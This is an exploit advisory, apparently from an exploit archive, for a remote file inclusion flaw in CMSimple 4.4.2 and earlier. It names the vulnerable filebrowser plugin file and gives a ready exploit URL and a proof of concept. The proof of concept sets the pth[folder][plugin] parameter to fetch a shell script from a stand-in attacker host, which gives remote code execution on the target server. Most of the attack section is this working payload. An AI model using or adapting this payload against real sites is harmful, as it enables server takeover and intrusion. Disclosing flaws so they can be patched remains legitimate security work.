CMSimple 4.4.2 Remote File Inclusion

`=============================================================================================================  
  
  
[o] CMSimple - Open Source CMS with no database <= Remote File Inclusion Vulnerability  
  
Software : CMSimple - Open Source CMS with no database  
Version : 4.4, 4.4.2 and below  
Vendor : http://www.cmsimple.org  
Author : NoGe  
Contact : noge[dot]code[at]gmail[dot]com  
Blog : http://evilc0de.blogspot.com  
Desc : CMSimple is a php based Content Managemant System (CMS), which requires no database.   
All data are stored in a simple file system.  
  
  
=============================================================================================================  
  
  
[o] Vulnerable File  
  
plugins/filebrowser/classes/required_classes.php  
  
require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';  
require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';  
  
  
=============================================================================================================  
  
  
[o] Exploit  
  
http://localhost/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=[RFI]  
  
  
=============================================================================================================  
  
  
[o] PoC  
  
http://target.com/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?  
  
  
=============================================================================================================  
  
  
[o] Greetz  
  
Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory  
aJe kaka11 matthews wishnusakti inc0mp13te martfella  
pizzyroot Genex H312Y noname tukulesto }^-^{  
  
  
=============================================================================================================  
  
  
[o] April 17 2014 - Papua, Indonesia - Met Paskah! Tuhan berkati.. :)  
`